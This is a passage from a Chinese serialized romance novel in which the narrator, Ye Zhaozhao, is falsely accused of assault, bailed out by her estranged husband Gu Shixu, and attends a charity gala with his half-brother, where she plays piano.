我和顾亦寒同时发声。
顾亦寒咬牙道:“叶昭昭,你想让我大半夜的送你回家?你这鬼样子回去,你老公说不定还以为咱俩睡了呢!”
“你能不能别胡说八道了?”
我冷声打断顾亦寒,道:“我在外面租了房子。我已经……不跟他住一起了。”
沈先生精明深邃的目光在听到我和顾亦寒对话的时候,显然也覆上了一层疑惑。
估计他也没想到顾亦寒这么不挑的,已婚妇女也敢动脑筋。
我不想羊入虎口跟顾亦寒回家。
索性,沈先生还算尊重我,问了我家的地址,让司机调转车头往我租的小区开去。
下车时,顾亦寒非要送我上去,被我拒绝了。
他气得冷哼道:“就知道跟我横!有本事,刚才跟那个老色鬼也横一个啊!”
我没理他,将身上的外套脱下来,本想还给沈先生。
但我今晚喝了酒,沈先生的外套上已经沾染上了我的酒气。
我下意识地想要他的名片或者联系方式,等我洗干净之后,把外套还给他。
不过,想到那日他助理的话,据说惦记沈先生的人不少。我为了不惹人嫌,就没要联系方式。
“沈先生,如果您不介意的话,我回去帮您把这件外套干洗了之后,让顾亦寒替我还给您。”
我说完,沈先生微微颔首道:“不急。”
就这样,我跟他们道别之后,快步往小区里面走去。
回去之后我其实想报警,告朱大成**。
可我想到今日在酒店,顾亦寒把他打成这样。
我报了警,顾亦寒这家伙会不会也被连累到?
总之今天我没吃什么亏,朱大成也没占到任何便宜,所以我放弃了报警的想法。
……
翌日,我到了单位,直接进了孟云初的办公室。
她还未开口,我就狠狠给了她一耳光。
孟云初震惊地看着我,但一向针锋相对的女人,却因为内心有愧,没有还手,更没有跟我大呼小叫。
我冷冷盯着她,道:“你可真行!我同情你,帮你,你把我往火坑里推。是不是朱大成得逞了,拍下了侵犯我的过程,苏雅欣就能接受你了?苏家就能接受你肚子里的孩子了?”
毕竟,我跟孟云初现在早已没有竞争关系,又没有什么深仇大恨。
唯一能解释的,就是她受了苏雅欣的指使,她们有什么交换条件。
孟云初脸色微变,心虚地避开我的目光,道:“我不知道你在说什么?”
“孟云初,我说的话,你心里清楚。”
我一字一句地道:“你记住,你被苏家拖下水之后,哪天东窗事发,第一个被推出去的人就是你!”
就在这时,孟云初办公室的门被敲响。
一个同事进来,小心翼翼地说:“外面来了两个警察,说是找叶昭昭”。
我怎么都没想到,我这个受害者没报警,但朱大成那边竟然先报警了。
警察将调查令拿出来,说我涉嫌‘故意伤害罪’,让我跟他们回去接受调查。
孟云初估计也没想到会惹到警察,她肉眼可见的慌了,小声道:“叶昭昭,对不起,我……我没想到……”
我冷笑了声,问:“你没想到什么?从你当苏雅欣手里的枪时,就知道,这样会毁了我!孟云初,算我看错了人!”
就这样,我被警察带走了。
审讯室里,日光灯又烫又亮,直直照射在我脸上。
虽然我没做错任何事,可到底是第一次被当成嫌疑犯审讯,说不害怕是假的。
警察问了我许多问题,我都如实回答了。
可他们说,我的回答跟朱大成这个‘受害者’的控诉不一样,他们还要进一步调查取证。
我莫名紧张起来,问:“那我需要在这里呆多久?”
警察公事公办地说:“我们已通知了你的丈夫,如果他来保释你,今天应该就能出去。”
“顾时序?”
这个名字现在在我的记忆里,总觉得像**一样。
反正,需要他的时候,他从来都不会在。
通知他,还不如通知叶家或者宋今若。
可警察却说配偶是直系亲属,必须先通知配偶。
就这样,审讯结束后,警察将我带进了一个单人间。
小小的房间只有几平米,又阴又潮,被幽闭的恐惧扑面而来。
我半蹲在角落里,没有手机没有网络,跟外界像是隔绝成了两个世界。
随着时间一点一滴地蔓延,我只觉得每一秒,都如此漫长。
不知过了多久,外面终于传来了脚步声。
警察打开门,道:“叶昭昭,你的家人来保释你了。”
我眼前终于亮起了曙光,扶着麻木的膝盖站了起来。
顾时序就站在会见室里。
见我出来,他眉心紧蹙,上下打量了一眼,道:“走吧!”
警察倒是对他挺恭敬的,“顾先生,您还得签个字。我们头儿说了,有任何情况再通知您。至于朱大成,我们肯定严惩不贷!”
“嗯。”
他拿起笔,签下名字,直接扣住我的手腕往外走。
一路上,顾时序都没有说话,紧抿着薄唇,像是在极力克制着什么。
我简直不明白,明明是我受了冤屈,是我差点被威胁,他有什么好生气的?
难道,他觉得过来保释我,耽误了他和苏雅欣温存的时间?
直到他将我塞进车里,不由分说地驱车行驶,我才不安地问:“你要带我去哪儿?”
“医院。”
他眼睛看着前面的路况,语气很不善。
我不可思议地问:“去医院干什么?”
“朱大成承认他侵犯了你,我带你去医院看看。”
他语气虽然很森冷,但又很冷静,像是在说其他人的事。
可我明明没有被侵犯,朱大成为什么要把罪名往自己身上揽?
难不成,是苏雅欣指使的?
虽然我不知道苏雅欣是怎么让朱大成说这番话的。
可只有让顾时序觉得我被侵犯了,我脏了,他才会更嫌弃我。
这样的结果,受益者就只可能是苏雅欣。
而顾时序在乎的,并不是我受了多少伤害和委屈?
他在乎的是,顾太太是否还干净?
我愤声道:“顾时序,停车!”
顾时序没有任何反应,继续开车。
我气到发抖,直接去握他的方向盘。
顾时序的脸色这才变了,连忙将车停在了路边。
“叶昭昭,你疯了,是不是?”
他阴郁地看着我,道:“你知不知道刚才多危险?”
我不想跟他说任何话,更没必要跟这个准前夫澄清我的清白。
我打开车门要走。
他却扼住我的手腕,将我拉了回来。
“为什么不肯去医院?”他眼神更加怀疑了,问我:“要是染上什么病,该怎么办?”
我嘲讽的笑了声,道:“染上什么病,跟你又有什么关系?反正,我们现在已经这样了。难不成,我还能传染给你啊!”
“都现在了,你还嘴硬!”
顾时序脸色别提多阴沉了,他道:“我早都说过,让你不要兴风作浪,在家当好你的顾太太。这下你看到了,离开我,离开顾家,你就是别人案板上的肉!”
我的委屈好像一下子都涌进了嗓子眼儿,迎上他凝了霜的眸子,道:“可是昨天,你明明在的。你在那儿,跟你不在,有什么区别?我让你救我,你救我了吗?”
顾时序顿了顿,疑惑道:“你什么时候让我救你?”
我越发难过起来,哽咽道:“是啊,你的心思都在苏雅欣的身上,她心口一疼,你抱起她就走。当然……不会注意到我。”
“昨天,那是你?”
他似乎想起了自己听见的呼救声,一副如梦初醒的样子。
我惨淡地弯了弯唇角,道:“所以顾时序,你没有资格指责我。就算我不干净了,你也是凶手之一!”
说完,我推门下车。
这次,他没再拦我。
下车后,我接到了薛晓琴的电话。
原来,顾亦寒也被警察带走了,跟我一样,都是“故意伤害罪”。
我立刻打了辆车,往警局去,希望去给顾亦寒作证。
可我没想到,顾时序的车竟然一直跟着我。
我在警局门口下车时,他也下来了。
“我好不容易把你保释出来,你又回来干什么?”顾时序冷声道:“为了惩罚我,让我后悔,再进去一回?”
我只觉得可笑,“我为了让你后悔,把我自己搭上?你没病吧!”
“那你这是什么意思?”
顾时序拦在我面前,不让我进去。
我只能跟他解释道:“顾亦寒昨天为了帮我,把朱大成打了,我要给他作证!”
顾时序黑眸眯起来,释放着冷冽的寒光,“顾
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亦寒?”
“怎么,有问题?”
我反问道:“你不救我,还不让别人救?”
就在这时,胃里那种翻滚的感觉又涌了上来。
我硬生生忍着想要干呕的难受,心里越发忐忑。
这个月生理期至今还没来,难道,真的中招了吗?
顾时序并没有意识到我的异样,还在跟我确认:“昨晚,是顾亦寒救了你?”
我轻扯唇角,“怎么,很意外吗?你一直瞧不上的弟弟,其实比你像人样多了!”
说完,我抬腿准备进警局,问一下顾亦寒的情况。
到时候该作证作证,该找律师找律师。
可顾时序还是将我拉了回来,冷声道:“跟我回家。”
“如果顾亦寒不出来,我不会回去的。”
我看着他冷冽的双眼,语气格外坚定。
顾时序点点头,道:“好,你先跟我回去。他救了你,我会把他弄出来,我保证。”
“不行,我必须亲眼看着他出来!”
我站在原地,道:“你现在就想办法!”
顾时序以前不是个容易被威胁到的性格,可今天不知道怎么回事,他真就开始联系起了顾氏的法务部门,让他们立刻派律师过来。
而我,就站在警局门口等。
顾时序也没走,回到车里坐着。
夜幕悄悄降临,空气里处处都是湿冷。
顾时序不知什么时候从车里出来了。
散发着龙涎香气息的外套披在了我身上。
我下意识就想拿下来还给他,可他却摁住了我的手。
“就这么担心他?”
他微微上扬的尾音透着不悦。
我没好气地说:“跟你担心苏雅欣的心情是一样的。的确很担心!”
他没再说话,从西裤口袋里摸出烟盒,站得离我远了些。
打火机的蓝光乍亮,他冷峻的侧脸阴在一片阴影里,忽明忽暗。
等了大约半小时,顾氏的律师团队终于来了。
顾时序又联系了警局的人脉,顾亦寒也顺利被保释了出来。
他出来的时候,双手抄在裤袋,一副无所谓的模样。
见到我和顾时序在一起,他错愕地问:“叶昭昭,你这个傻女人,该不会为了救我,重新委身于他了吧?”
我白了他一眼,道:“你想多了!”
顾亦寒这脑子,真应该去写恋爱脑的言情小说!还真敢想!
而顾时序听出了他的挑衅,出于体面没有跟他在外面针锋相对,而是握住我的手,道:“我答应你的事已经做到了,现在,跟我回家。”
我甩开他的手,道:“顾时序,那是你和苏雅欣的家。我的东西,已经从那个家里搬出来了。”
顾时序压低声音道:“能不能别闹了?刚才答应过的事,这么快就忘了?跟谁学得出尔反尔?”
我笑了笑,道:“跟你学的啊!你求婚的时候答应给我一个轰轰烈烈的婚礼,你做到了吗?你说过,你会爱我一辈子,你做到了吗?难道,你没有出尔反尔?”
顾时序哑口无言,滚动的喉结似乎在克制着什么。
我看着他阴郁的神色,道:“顾时序,我们都是出尔反尔的人。所以,扯平了!再见。”
说完,我去路边打车,顾亦寒也赶紧跟了上来。
他明明可以坐在副驾驶,但非要坐在我旁边,笑得像只二哈。
“叶昭昭,不错啊!我还以为顾时序勾勾手指,你又要回去了!”
我面无表情地反问道:“我有这么贱么?”
顾亦寒试探着问:“离婚请律师了吗?顾时序可不是什么善茬,你得小心点儿!别到时候被他算计得净身出户,连裤衩都不剩。”
“不劳你操心,早就请过律师了。”
我翻了他一眼,往车门这边坐,不想跟他这么近。
可顾亦寒又往我这边继续贴,问道:“你找的哪个律师?靠谱么?不行的话,我帮你。就昨天救你的那位,可是国内律师界的活阎王!要是我去找他,他肯定能给我个面子。”
我没想到,那个男人竟然是律师。
只不过,那天从工地回去的路上,他不是还拒绝了跟顾氏的合作吗?
好像,他也不只是律师。
顾亦寒用手肘碰了碰我,问:“到底行不行啊?要是他能接你的离婚案,顾时序绝对讨不到便宜!”
我叹了口气,道:“算了,这欠的人情,我可还不起。”
顾亦寒笑了笑,语气染上一丝暧昧:“不用你还,我还!你只要好好跟着我就行了,我保证比顾时序好。”
第48章 他说,以后就只有我一个
我揉了揉耳朵,道:“真不该在外面等你出来,你简直聒噪得像只乌鸦!”
顾亦寒不仅没生气,反而笑得更开了,对我道:“你不用嘴硬。从今天这件事看呢,说明你心里是有我的。”
我懒得理这个自恋的男人,而是问他家的地址,想赶紧把他打包送回他妈妈身边。
可我没想到,他居然报出了我住的小区地址。
“顾亦寒!我不会让你进我家的!”
我有点恼了,仿佛又回到了以前上学时,这家伙死缠烂打的时候,真让人头疼!
顾亦寒摸了摸鼻子,郑重地说:“怎么?你把那个小区全买下来了?你能住,我就不能住?”
我不可思议地看着他。
只听他跟我解释道:“你楼上那一户的户主,从现在起已经变成了我顾亦寒。我们以后,就是楼上楼下的邻居了。”
“什么?”
我脑子嗡嗡的。
直到坐上电梯,我才知道他没跟我开玩笑。
薛晓琴已经住进了楼上那一户,顾亦寒自诩为孝子,说以后会跟母亲同住。
见我们回来,薛晓琴温柔地说:“昭昭,今天真是麻烦你了。我刚做好饭,留下吃顿饭吧。亦寒爸爸一会儿也回来,你们也好久没见了吧?”
顾亦寒的爸爸,也就是顾时序的爸爸,我公公。
如此尴尬的关系,我想,还是算了吧!
“不用了,琴姨。”
我礼貌地冲她笑了下,道:“昨天是顾亦寒帮了我,我救他出来是应该的,我晚上还有工作,就先回去了。”
顾亦寒本来还想缠着我,被他妈妈直接拉进了屋里。
……
到了家,我火速去洗了澡,把一身晦气洗掉。
然后自己煮了碗方便面,加了番茄和火腿,大口大口吃了起来。
**概非要经历一段痛苦,才会更容易满足。
吃饭时,我的银行卡账户突然响起提醒。
我没想到,竟然是稿费的收入。
一共是十万块,着实惊到我了。
可我也只写了一个多月而已啊!
大概这就是东方不亮西方亮吧?
虽然工作不顺心,但这笔稿费给了我很大的信心离职。
工作可以慢慢找,可如果再跟孟云初这样的人共事,苏雅欣早晚有一天会借她的手除掉我。
所以当天晚上,我就把辞职信发到孟云初的邮箱。
然后,继续更新我的小说。
可能是这两天发生的事情太多,我竟然将最近总是反胃,生理期推迟的事情抛在了脑后。
……
几天过去了,我的辞职信一点消息都没有,公司那边也没有任何回应。
我倒是不着急,反正只要我一直不去上班,早晚他们会以‘无故旷工’辞退我。
这几天里,我将沈先生的外套送去了干洗。
干洗店说这件外套是意大利私人订制的高奢款,光是干洗费就要了我五千多。
我肉疼得要命。
洗完后,我去了楼上找顾亦寒,想让他替我把洗好的外套交给沈先生。
“我帮你转交给他,那我能得到什么好处?”
他一双眼睛直勾勾地盯着我,丝毫不掩饰暧昧。
我耐着性子道:“能不能别这么幼稚?算我拜托你,行么?”
顾亦寒突然笑了声,道:“不然这样吧,你自己交给他,顺便跟他道谢。”
我摇摇头,道:“既然你说他是名律,那应该也挺忙的,估计没时间听我的感谢。”
顾亦寒冷哼道:“我早就说你是白眼儿狼,你还不承认!那天要不是我和他,你肯定被吃得连骨头都不剩了。现在让你当面道个谢,你都不愿意!”
“可我根本就没有机会见到他啊!而且,为了道谢,特意去见人家一面,很奇怪吧?”
我不厌其烦地解释着。
顾亦寒冲我眨了下眼睛,道:“今晚沈老太太举办慈善晚宴,宴请海城名流,他是沈老太太的孙子,肯定会出席。你想想人家救命的情分,自己掂量掂量吧!”
我叹了口气,道:“沈家没有给我发邀请函,那种场合,没有函,安保不会让进的。”
这时,顾亦寒拿出了一封邀请函,道:“我有啊!我妈也有!今晚我妈不想去,你正好用我妈那张函。”
顾亦寒各种劝说,反正就是不肯帮我把外套转交给沈先生。
无奈之下,我只好跟他一起去了沈家举办的慈善晚宴,主要目的就是将我花巨资干洗了的高奢外套还给人家。
这外套贵得吓人,必须还!
离开家时,顾亦寒见我一身米色羊绒大衣,拧眉道:“你就穿这身去参加晚宴?顾时序是给你虐傻了吗!以前,你哪次参加酒会晚宴,不是打扮得明媚动人?”
他这么一提醒,我有些惆怅。
以前是因为‘女为悦己者容’,我想让顾时序看到我最好看的样子。
可现在,已经没有了那个欣赏的人。
顾亦寒仿佛意识到了什么,拉着我的手道:“跟我走!”
我被顾亦寒带到妆造店的时候已经是下午四点多了。
他道:“给你们一小时的时间,把她给我打扮成最耀眼的样子!”
“是,顾少。”
妆造师跟顾亦寒很熟,笑着打趣儿道:“顾少这次又换了个小姐。”
我幽幽地看向顾亦寒。
顾亦寒尴尬地摸了下鼻子,对我道:“以后就你一个!”
我嫌弃地看着他,道:“能不能别扯上我?我跟你没关系,好吗?”
“好好好,你说什么都是对的!”
他好脾气地应和着,身后的妆造师露出了姨母笑。
趁顾亦寒坐在沙发上看杂志的时候,妆造师小声对我道:“顾少对你很不一样哎!顾少这人虽然平易近人,可以往带来的小姐各个都上赶着讨好他。可现在,是他在上赶着讨好你。”
“不好意思,我跟他真的没关系。”
我尴尬地又解释了一遍。
很快,妆造师就给我画好了妆。
我看着镜子里那个明媚的自己,不禁嘴角上扬起来。
跟顾时序隐婚的这四年,我没有再参加过一次这样的晚宴,就像是被蒙了一层灰的花瓶。
这时,顾亦寒走到我身后,微微弯腰看着镜子,道:“真美!”
妆造师笑着道:“是的,叶小姐的妆其实很好化,她底子非常好,只要稍加修饰,就可以达到惊人的效果。”
顾亦寒满意地点头道:“我刚才看到一件礼服,给她试试。”
我顺着他目光看过去,那是唯一一件放在柜子里的香槟色鱼尾礼服,整件礼服泛着明艳的光泽,犹如流动的星河倾泻在身上。
的确很美。
妆造师为难地说:“顾少,不好意思,这件礼服是客人预定的,今天刚从国外运过来。”
“多少钱,我出十倍,把礼服给我们。”
顾亦寒大有种一掷千金的意思。
妆造师道:“礼服的价格是六百万。但这也不是钱的事情,主要是这礼服的主人……”
我一听价格,十倍那就是六千万?
我连忙拦住顾亦寒,道:“算了,店里这么多礼服,何必夺人所爱?”
“你喜欢吗?”
顾亦寒很认真的看着我,道:“只要你喜欢,六千万也没关系的。”
我被他弄得哭笑不得,一字一句地说:“我、不、喜、欢。”
就在这时,妆造师目光突然向门口望去,格外殷勤地喊了声:“顾总,苏小姐!”
我和顾亦寒同时回头。
苏雅欣和顾时序一前一后地进了店里。
看到我们的时候,他俩脸上明显错愕了一下。
尤其是顾时序,眼神很复杂,盯着我看了许久。
苏雅欣微微一笑,道:“好巧,叶小姐,你也在这里啊?这个……是你男朋友吗?”
我还没说话,顾亦寒突然搂住我的腰,道:“没错,苏小姐好眼力。”
说完,他低头故作亲昵地问我:“亲爱的,那件礼服买下来,今晚穿,嗯?”
妆造师犯了难,对苏雅欣道:“苏小姐,顾少愿意出十倍的价格买下这件礼服,您看……”
苏雅欣脸上闪过一抹异样,似乎没想到,顾亦寒这么大方,愿意为我豪掷千金。
随即,她楚楚可怜地望着顾时序,道:“时序哥,既然叶小姐喜欢,那就让给她吧。其实我穿什么,都无所谓的。”
一旁冷眼旁观的男人终于开口:“不让。”
短短两个字,将男友力展现得淋漓尽致。
随即,他语气带着上位者的威严,对妆造师道:“带雅欣去换礼服,不要耽误时间。”
“好的,苏小姐,请。”
苏雅欣跟在妆造师身后,进更衣室的时候,还回头意味深长地看了我一眼。
她嘴角噙着的笑,仿佛是对我无声的嘲讽。
苏雅欣进去之后,顾时序缓缓走到了我和顾亦寒面前,停住脚步。
他冷沉
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的目光落在顾亦寒搭在我腰间的手上,声音阴郁至极:“我劝你别作死。”
顾亦寒搂在我腰间的手又紧了一分,似笑非笑地说:“亲爱的哥哥该不是吃醋了吧?”
顾时序黑眸像是淬了冰的**,仿佛下一秒,这把刀就能割断顾亦寒的喉咙。
我心里咯噔了一下。
顾时序根本不是吃醋,只是他把我看作他的所有物。
他不要了,就在那儿放着,他也不允许别人侵占。
我记得有一次顾氏的生意被竞争对手截胡了,当时他就是这样的眼神。
仅仅花了两天,穿着睡衣连家门都没出的顾时序,却用手机指点江山,让竞争对手公司的股票直接崩盘。
他出手又狠又辣,在对手公司破产的第二天,那家公司的老板带着一家老小跳了楼。
我看到新闻时心惊肉跳,可顾时序只是淡定地拨弄着手中的佛珠,连眉头都没有皱一下。
“顾亦寒,我真的不喜欢那件礼服。”
我赶紧打岔,随便指了一件紫色的礼服,道:“那件好看,我要那件!”
明明没做亏心事,可我现在不敢看顾时序的眼睛,也把顾亦寒拉远了些。
生怕他继续刺激顾时序。
就这样,我火速换好那件紫色的礼服,拉着顾亦寒离开了店里。
到了车上,顾亦寒格外不爽地吐槽:“叶昭昭,到底谁跟谁俩是奸夫**啊!怎么你这灰溜溜的样子,跟咱俩是奸夫**似的!”
我严肃而又郑重地说:“顾亦寒,以前你跟顾时序打架,哪次赢过?现在的顾时序要是在想收拾你,他不会再用拳头了。可是,他会要你的命!你最好相信我。”
“这……这么可怕……”
顾亦寒将信将疑呢喃着,然后看着我,道:“那他要真把我弄**,你会不会给我哭坟?”
我气得深吸了一口气,将脸转向窗外,一点都不想搭理他。
虽然我和顾亦寒先从那家店离开的,可当我们到达沈家别墅时,顾时序的车已经先到了。
顾亦寒磨着牙,恨恨地说:“顾时序还真是处处都要争个先啊!就连这,都要赢在我们前面。”
“无所谓了。”
我无语地说:“我来这儿本来就是为了还衣服的。”
当苏雅欣挽着顾时序的手臂下车。
她一身昂贵的香槟色流光礼服配上顾时序那身黑色高定西装,立刻就引起了一阵骚动。
周围宾客纷纷发出惊叹声:
“天啊,大明星和顾总还真是登对唉!我们没机会了!”
“你看她身上那件礼服,是高奢中的限量款,国内好像就这一件!真的好美哦!”
“不是说顾总修佛吗?居然这么宠老婆!这种割裂感,好迷人!”
“……”
前面苏雅欣的背影昂首挺胸,骄傲得像只天鹅。
顾亦寒道:“叶昭昭,挽着我。相信我,你比苏雅欣美。”
“我不想跟她比美。”
我冷冷回了一句。
可顾亦寒硬是将我手勾住他的手臂,道:“那你也得挽着我!”
就这样,在苏雅欣和顾时序进去之后,我们也缓缓走进别墅。
沈家别墅奢华的程度比起顾氏庄园有过之而无不及。
整个一楼大厅都可以作为宴会用。
当我们踏进宴会厅时,一阵唏嘘声着实把我吓了一跳。
“那位是谁啊?样貌和气质都绝了!竟然比起苏雅欣一点都不逊色!”
“是啊,虽然礼服没有苏雅欣的贵,但穿在她身上,把她皮肤衬得好白好嫩。”
“……”
周围的议论声让我脸有些红了。
四年没有出席这类场合,我确实有点不习惯了。
可顾亦寒却带着我,跟大家介绍道:“这位是我的女伴,叶家千金。”
虽然他想告诉大家,我的家世背景也不比苏雅欣差。
但因为叶家在海城的上流圈子里实在是数不上名号,这次沈老太太宴请海城名流,都没有叶家的份儿。
所以很多人,都不记得是哪个叶家?
就在这时,我婆婆姜淑慧跟另一个差不多年纪的女人走了进来。
她们毫不掩饰轻蔑的目光在我身上打量着。
姜淑慧笑了声,道:“叶家千金……跟私生子倒是挺般配的。”
我忍不住呛道:“是啊,现在这社会的风气,私生子、私生女的,还奇怪吗?”
我刻意把‘私生女’三个字咬得极重。
第49章 我被顾时序堵在洗手间
姜淑慧脸色变得格外难看,似乎怕我抖搂出点别的事,带着身边的女人去了其他地方。
直到我听见苏雅欣亲昵地叫那个女人‘妈’,我才知道那个女人的身份。
就在这时,门口又传来一阵骚动。
我回头看去,竟然是苏雅欣的哥哥进来了,身旁的女伴是孟云初。
“这不是科研界的青年才俊吗?天啊,苏家兄妹真是绝了!一个纵横娱乐圈,一个年纪轻轻在科研界有那么厉害的成绩!”
“旁边那个是他女朋友吗?哎,怎么优质的男人都有主了呢?”
“真羡慕苏雅欣。有那么优秀的哥哥,还有这么宠她的老公!老天到底给她关上了哪扇门啊?”
“……”
我看着这浮华的名利场,愈发觉得虚伪、肮脏。
孟云初不敢往我这边看。
毕竟,她是受了苏雅欣的指使,把我献祭出去,才终于得到了光明正大站在苏启明身边的机会。
我想,她也是心虚的。
周围的觥筹交错声、虚伪的客套声,令我感到窒息。
远离这种地方,似乎也没什么不好的。
我问顾亦寒:“那位沈先生呢?我把外套还给他,就走了。”
顾亦寒一愣,道:“这才刚来,就走?”
我解释道:“我来这里的唯一目的,就是把衣服还给人家。”
顾亦寒环顾了一圈,道:“沈老太太办这个宴会,我估计他忙着呢。这样,你先去休息区吃点东西,我去找找。”
“嗯。”
我点点头,去了休息区。
这里我能说得上话的人,只有顾亦寒和宋今若。
可不知道为什么,之前收到邀请函的宋今若,直到现在都没有出现。
我只好一个人待在休息区,百无聊赖。
就在这时,不远处传来两个女人的对话声。
其中一个声音,是我婆婆,“你们启明身边那女的是什么来路?看着挺普通的,家里是做什么的?”
苏母回:“那个啊!小妖精,家里一穷二白,缠了我们启明好几年了。不要脸的东西,赶都赶不走!”
我婆婆道:“呵,跟我那个儿媳一模一样,不自量力,攀到一个高枝儿就死死抓着不放呢!不过现在好了,雅欣和时序的事儿也快敲定了,也算了却了我一桩心事!”
苏母叹了口气道:“你是好了,可我还发愁呢!那小妖精现在怀孕了,死活不愿意打掉。我们启明是最注重声誉的,这不,先给她点甜头哄着她。等她自己把孩子打掉,我们就让她有多远滚多远!”
“这些底层的女人都一个样儿。自以为都能母凭子贵,可我们这样的家族又不是菜市场,什么阿猫阿狗的都能进来!”
姜淑慧的话,让苏母轻笑出来,道:“我们真是想到一块儿去了!那女人想进我们苏家,下辈子都不可能!”
我静静地站在窗帘后,早已将包包里的录音笔打开。
她们刚才的对话,也被一字不落的录了进去。
俗话说‘**诛心’。
孟云初那般对我,那我这个录音笔里的内容放给她之后,不知道会不会比杀了她还要难受?
这时,苏雅欣和顾时序也走到了我婆婆她们这边。
一家人有说有笑,其乐融融的。
姜淑慧道:“时序,你和雅欣的事情赶紧敲定吧,妈都等不及抱孙子了!”
就在这时,沈先生的助理高朗突然走到他们面前,道:“苏小姐,您在这儿呢,真是太好了!听说您精通钢琴,今天我们老太太请的钢琴师飞机延误了,到现在都没来。如果您方便,可以在一会儿舞会开始时,演奏一曲吗?”
“这……”
苏雅欣明显不乐意,推辞道:“不好意思啊,我自己工作太多,好久没练琴了。而且最近我的手犯了腱鞘炎,实在弹不了琴。”
“这样啊……”
高朗有些为难,但也没有强求。
晚宴舞会的背景音乐都是钢琴师和其他乐器师现场演奏的,如果缺了钢琴师,舞会的背景乐只能用电脑播放,那就会显得很没有诚意。
所以现在,高朗觉得格外棘手。
可现在苏雅欣不答应,他只能继续满场找人顶上钢琴师。
高朗走后,我婆婆的声音传入耳里,“这沈家也太不知趣儿了!我们雅欣是大明星,居然让雅欣去给大家弹钢琴助兴,把我们当什么了!”
苏母骄傲地说:“以我们雅欣现在的咖位,想请到她,都得提前半年预约。沈家真是不知天高地厚!”
只有顾时序淡淡的对苏雅欣道:“刚才你应该答应的。你稍微打听一下就该知道,沈家在帝都是怎样的存在。”
苏启明不满地替妹妹说话,“顾总,你这话就不对了!难不成,我妹妹是你牵线拉关系的棋子?沈家再厉害,现在也是在海城,是你的地盘!”
我突然想到之前沈先生一句话就能断掉跟顾时序的合作,让他急得头疼,就不难发现沈家的地位是高于顾家的。
顾时序这人最是精明,又识时务,肯定想牵上沈家这条线。
只是苏家这些人目光太过短浅,完全看不到这里面的利弊。
就在这时,顾亦寒匆匆忙忙走到我这边,道:“我跟高朗找了一圈,怎么把你给忘了?你当初钢琴考过了十级,你顶上一会儿没问题吧?再有半小时钢琴师就能赶到。”
高朗没想到会在这里看到我,他惊喜万分地说:“叶小姐,我们老太太现在都急坏了。您要是能帮个忙,我们定当重谢。”
他们把我架在这儿了,看在之前沈先生和高朗帮过我的份儿上,我答应了下来。
当舞会开始时,我坐在钢琴前,和身后的乐团开始演奏。
琴谱是我以前弹过的曲子,所以我很快就进入了状态,跟后面乐队融合得很好。
本来我的演奏是作为舞会的背景音乐,压根不会被人注意到。
可后来我钢琴周围**了越来越多的人。
我甚至用余光看见了不远处的顾时序,他似乎也在看我。
大家的议论声纷纷传入我耳里:
“没想到这位叶家小姐钢琴弹得这么好!好像比苏雅欣还要专业哎!”
“苏雅欣那个就是花拳绣腿,经不起推敲的。我自己就是钢琴老师,叶小姐这个琴弹的绝对是专业级别了。”
“你们发现没,叶小姐是全场无论是美貌还是实力,都能压得住苏雅欣的人?我之前觉得苏雅欣已经够顶了!”
“……”
我实在不太习惯被人这般围观。
最后,就连一身酒红色香云纱旗袍的沈老太太都在顾亦寒的搀扶下走了过来。
就在这时,尖锐的反胃感差点让我吐出来,腥甜的酸意顺着食道往上爬。
幸好这时,钢琴师赶到了,我们交接完毕后,我立刻捂着嘴往洗手间的方向跑去。
甚至没来得及跟沈老夫人打个招呼。
……
我冲进洗手间,忍不住干呕着。
过了许久,胃里才舒服些。
用漱口水清理完口腔,我才从洗手间出来。
现在的我,满脑子都是回去一定要买个验孕棒验一下。
我压根不敢想,如果真的不幸中招了,我该怎么办?
前段时间,我住院、吃药、抽血,甚至前几天还应酬喝酒。
就算有了孩子,也是保不住的。
脑子里正乱七八糟地想着,一个有力的手臂突然握住了我的胳膊。
我心一沉,抬头便发现是脸上仿佛凝了霜的顾时序。
想到肚子里可能有了一个跟他的小生命,我的心就突突直跳。
"放开我。"
我压低声音,咬牙吐出三个字。
顾时序就这么将我困在墙壁上,高大的身形抵在我面前,让我无处可逃。
他深邃漆黑的眸光在我的身上流连,道:“故意打扮成这样,跟顾亦寒跑到这里,你想干什么?”
我迎上他的目光,冷冷道:"你想干什么,我就想干什么。你能跟苏雅欣,我为什么就不能跟顾亦寒?"
顾时序克制的吸了口气,道:"叶昭昭,记住你的身份。如果哪天你做了令顾家蒙羞的事,你母亲和叶家,都要为你的错误买单!"
"呵。"
我被气笑了,忽然双手搭在他肩膀,踮起脚尖停在距他咫尺的地方。
"顾总,是谁没有记住身份?不然这样,我们现在就出去,把结婚证亮出来?从此以后,我好好在家给你当顾太太!你敢么?"
顾时序眼底一片阴郁。
他自然是没这么冲动的。
如果晒出结婚证,那他和苏雅欣就是奸夫**,他不会让自己和情人背负上这样的骂名。
这时,顾亦寒的声音传了过来。
"搞了半天,你在这儿!"
他双手抄在西裤口袋,漫不经心地向我们走来,好像丝毫没看
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见我跟顾时序此时的姿势有多暧昧?
我趁机推开顾时序,向顾亦寒走了过去。
而此时,苏雅欣竟然也来了。
"时序哥,咱妈正找你呢,说我们全家一起合个影。"
她旁若无人地走过去,自然地挽上了顾时序的手臂,像是没看见我般。
顾亦寒也不是吃素的。
他直接将手揽在我腰间,看着一脸阴沉地顾时序,嬉皮笑脸地说:"你看咱们这两对俊男靓女多般配。亲爱的哥哥,你找到了你喜欢的,我也找到了我喜欢的。完美!"
说完,他就这么带着我走了。
即便我后面没有长眼,我都能感觉得到顾时序像刀一样锋利的目光。
可他即便再强的占有欲,再生气,都不会在这种时候爆发。
因为,他始终不肯让别人知道,我才是他名正言顺的妻子。
……
顾亦寒将我带到了沈老夫人面前。
沈老太太慈爱地笑着道:“我竟不知道今天的宴会还来了这么一位绝妙佳人。”
我礼貌地冲她点头,“沈老夫人好,我叫叶昭昭。”
沈老太太亲昵地牵住我的手,欣赏地说:“孩子,你钢琴学了多久?现在做的工作是与乐器有关吗?”
我微笑着说:“我现在是记者,不过钢琴从三岁就开始学了,这些年有空就会弹一弹。”
沈老太太透过老花镜,探究地望着我,道:“你的指法和你的风格,真的很像我以前带过的一个学生。只不过这孩子啊不愿意继续在音乐上深造,跟着男朋友一起学医了!后来……”
沈老太太没再说下去,只是一脸的惋惜与惆怅。
顾亦寒告诉我说沈老太太退休之前是音乐学院的教授,她辅导的艺考生没有任何落榜的,全都考入了全国乃至世界名校。
这时,沈老太太问高朗:“你老板究竟什么时候回来?”
高朗小心翼翼地说:“老夫人,老板今天怕是赶不过来了,他现在还在跟合作公司谈判。一时半会儿估计结束不了。”
